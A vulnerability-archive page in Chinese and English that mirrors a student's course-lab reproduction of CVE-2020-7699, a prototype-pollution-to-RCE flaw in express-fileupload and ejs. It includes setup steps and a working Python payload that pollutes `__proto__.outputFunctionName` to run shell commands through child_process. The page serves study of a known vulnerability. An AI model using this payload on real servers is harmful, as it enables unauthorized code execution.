目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2020-7699 PoC — express-fileupload 注入漏洞

来源
关联漏洞
标题: express-fileupload 注入漏洞 (CVE-2020-7699)
Description:express-fileupload是美国Richard Girges软件开发者的一款文件上传中间件。 express-fileupload 1.1.8之前版本中存在安全漏洞。攻击者可借助特制HTTP请求利用该漏洞导致拒绝服务或执行任意代码。
Description
针对 CVE-2020-7699 的复现,软件安全原理课程大作业
介绍
# CVE-2020-7699 Reproduction

Reproduction for Node.js RCE vulnerability(CVE-2020-7699), my lab work

## Setup

Node.js edition: `v14.16.1`, please make sure that the edition of Node.js is 14(Other edition will propably work, I didn't test)

Python edition:`3.9.5`, Python is only used to send HTTP attack request, no specific edition required

Just `clone` the repo, `npm i` to install dependencies. I offered 2 more cmds:

* using `npm run start-server` to start the target server(victim server)
* using `npm run launch-attack` to launch the attack

## Analysis

express-fileUpload: edition below 1.1.10 will be affected

### In express-fileUpload exists prototype pollution

Vulnerability: [express-fileUpload prototype pollution](https://blog.p6.is/Real-World-JS-1/)

How to make use of it: to pollute `__proto__.outputFunctionName` in order to write the cmd to exec. eg. `echo "ATTACK SUCCESSFUL" > attacked.txt`

```python
exec_command = "echo \"ATTACK SUCCESSFUL\" > attacked.txt"

{
    "__proto__.outputFunctionName": (
        None,
        f"x;process.mainModule.require('child_process').exec('{exec_command}');x"
    )
}
```

### In ejs exists RCE

Vulnerability: ejs will try to execute `xxx.outputFunctionName` which is `undefined`, but if `object.outputFunctionName` is polluted, it'll exec it instead
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →